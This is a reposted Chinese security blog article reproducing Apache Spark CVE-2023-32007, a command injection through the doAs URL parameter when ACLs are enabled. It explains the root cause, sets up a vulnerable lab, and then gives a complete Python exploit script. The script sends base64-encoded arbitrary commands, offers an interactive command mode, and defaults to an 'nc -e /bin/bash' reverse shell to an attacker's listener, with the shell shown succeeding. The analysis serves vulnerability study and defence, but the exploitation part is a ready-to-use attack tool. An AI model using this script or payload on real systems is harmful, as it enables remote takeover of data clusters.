文章总结: 本文详细分析ApacheSpark的CVE-2023-32007远程命令注入漏洞,该漏洞影响3.1.3等版本,在启用ACL且开放UI时可通过doAs参数执行任意命令。文章通过动态调试揭示漏洞成因,并提供环境搭建、漏洞验证及自动化利用脚本,实战演示反弹shell获取控制权的过程。 综合评分: 88 文章分类: 漏洞分析,WEB安全,实战经验,安全工具,红队
CVE-2023-32007漏洞复现及利用
原创
木夕马 木夕马
网络安全研习社
2026年5月18日 14:57 陕西
在小说阅读器读本章
去阅读
“ Apache Spark作为主流大数据处理框架具有广泛的应用场景,而CVE-2023-32007远程命令注入漏洞可通过doAs参数执行任意系统命令,利用门槛低,极易造成集群沦陷及内网横向渗透。本文将搭建环境完成漏洞复现与实战利用演示。”
01
—
漏洞介绍
CVE-2023-32007是Apache Spark大数据处理框架中存在的高危远程命令注入漏洞,为CVE-2022-33891的同源补全漏洞,用于修正官方此前对Apache Spark3.1.3等版本不受影响的错误判定。该漏洞仅在Apache Spark服务启用ACL访问控制且对外开放Spark UI的场景下触发。由于Apache Spark的权限过滤组件HttpSecurityFilter对用户可控的doAs身份模拟参数未做任何过滤与转义,攻击者可在url中构造恶意doAs参数,将命令执行payload直接拼接到低层Shell命令中执行。
该漏洞无需登录,无需高权限,仅需能访问Spark UI的低权限或未授权访问者即可发起攻击,成功利用后可以Spark运行身份执行任意系统命令,导致集群服务器被控、核心数据泄露、业务系统篡改或下线,严重威胁大数据平台安全。
02
—
漏洞产生原因
如下所示,使用命令拼接且没有做任何处理,而在修复的版本中直接删除了ShellBasedGroupsMappingProvider函数中对bash的调用。
接下来进行动态分析。
在Apache spark启用ACL后,会通过HttpSecurityFilter进行权限的校验。首先我们在org.apache.spark.ui.HttpSecurityFilter#doFilter函数处设置一个断点。
在进入函数之后,会提取参数“doAs”的值,然后赋值给effectiveUser,进入org.apache.spark.SecurityManager#checkUIViewPermissions函数。
在spark.security.ShellBasedGroupsMappingProvider#getGroups函数中,我们可以发现username为传入参数。
spark.security.ShellBasedGroupsMappingProvider#getUnixGroups函数如图所示。可以看到username进行了拼接处理,因为我们传入的username参数可控,便形成了命令注入。后续将通过executeAndGetOutput函数直接触发传入的命令,造成命令执行。
03
—
漏洞利用
- 环境搭建
CVE-2023-32007是针对此前CVE-2022-33891漏洞的修订,主要内容为发现apache spark的3.1.3版本也受影响,所以在这里下载编译包3.1.3版本:
wget https://archive.apache.org/dist/spark/spark-3.1.3/spark-3.1.3-bin-hadoop2.7.tgztar -zxvf spark-3.1.3-bin-hadoop2.7.tgz
切换到解压包目录下,执行以下命令启动Apache spark项目:
./bin/spark-shell --conf spark.acls.enable=true
如图所示,启动服务后,可以看到web页面的地址,用攻击机进行访问
- 漏洞验证
在上面的分析中,我们讲到,程序在进入doFilter函数之后,首先会提取参数“doAs”的值,然后赋值给effectiveUser。而最后username会作为传入参数,并在函数org.apache.spark.security.ShellBasedGroupsMappingProvider#getUnixGroups里面进行拼接处理,这样就形成了我们的命令注入。
在这里,我们首先尝试直接使用反单引号和doAs进行一个简单的注入。输入网址http://192.168.218.131:4040/jobs/?doAs=mate-calc,成功打开了计算器,说明注入成功,漏洞存在。
- Getshell
在上一步中,我们进行了一个简单的命令注入,接下来考虑把命令换为反弹shell,实现远程操控,并编写脚本进行攻击。
攻击机ip:192.168.218.132
靶机ip:192.168.218.131
攻击代码如下:
import requestsimport argparseimport base64import datetime
parser = argparse.ArgumentParser(description='CVE-2023-32007 Python POC Exploit Script')parser.add_argument('-u', '--url', help='URL to exploit.', required=True)parser.add_argument('-p', '--port', help='Exploit target\'s port.', required=True)parser.add_argument('--revshell', default=False, action="store_true", help="Reverse Shell option.")parser.add_argument('-lh', '--listeninghost', help='Your listening host IP address.')parser.add_argument('-lp', '--listeningport', help='Your listening host port.')parser.add_argument('--check', default=False, action="store_true", help="Checks if the target is exploitable with a sleep test")args = parser.parse_args()full_url = f"{args.url}:{args.port}"
def check_for_vuln(url): print("[*] Attempting to connect to site...") r = requests.get(f"{full_url}/?doAs='testing'", allow_redirects=False) if r.status_code != 403: print("[-] Does not look like an Apache Spark server.") quit(1) elif "org.apache.spark.ui" not in r.content.decode("utf-8"): print("[-] Does not look like an Apache Spark server.") quit(1) else: print("[*] Performing sleep test of 10 seconds...") t1 = datetime.datetime.now() run_cmd("sleep 10") t2 = datetime.datetime.now() delta = t2-t1 if delta.seconds < 10: print("[-] Sleep was less than 10. This target is probably not vulnerable") else: print("[+] Sleep was 10 seconds! This target is probably vulnerable!") exit(0) def cmd_prompt(): # Provide user with cmd prompt on loop to run commands cmd = input("> ") return cmd def base64_encode(cmd): message_bytes = cmd.encode('ascii') base64_bytes = base64.b64encode(message_bytes) base64_cmd = base64_bytes.decode('ascii') return base64_cmd def run_cmd(cmd): try: # Execute given command from cmd prompt #print("[*] Command is: " + cmd) base64_cmd = base64_encode(cmd) #print("[*] Base64 command is: " + base64_cmd) exploit = f"/?doAs=`echo {base64_cmd} | base64 -d | bash`" exploit_req = f"{full_url}{exploit}" print("[*] Full exploit request is: " + exploit_req) requests.get(exploit_req, allow_redirects=False) except Exception as e: print(str(e)) def revshell(lhost, lport): print(f"[*] Reverse shell mode.\n[*] Set up your listener by entering the following:\n nc -lvvp {lport}") input("[!] When your listener is set up, press enter!") rev_shell_cmd = f"nc -e /bin/bash {lhost} {lport}" run_cmd(rev_shell_cmd) def main(): if args.check and args.revshell: print("[!] Please choose either revshell or check!") exit(1) elif args.check: check_for_vuln(full_url) # Revshell elif args.revshell: if not (args.listeninghost and args.listeningport): print("[x] You need a listeninghost and listening port!") exit(1) else: lhost = args.listeninghost lport = args.listeningport revshell(lhost,lport) else: # "Interactive" mode print("[*] \"Interactive\" mode!\n[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.") while True: command_to_run = cmd_prompt() run_cmd(command_to_run) if __name__ == "__main__": main()
该脚本支持输入靶机ip、服务端口、攻击机ip以及监听端口,并实现自动化的攻击。默认情况下注入的命令为nc -e /bin/bash {lhost} {lport}。同时,该脚本也支持自主输入要注入的命令,只需要在选择参数时忽略–revshell即可。接下来进行具体的攻击,首先运行cve-2023-32007.py
根据提示,另外开启一个终端,对22222端口进行监听:
nc -lvvp 22222
结果如下图所示,输入ifconfig命令,发现是靶机的shell,说明注入成功。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网络安全研习社 木夕马 木夕马《CVE-2023-32007漏洞复现及利用》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







评论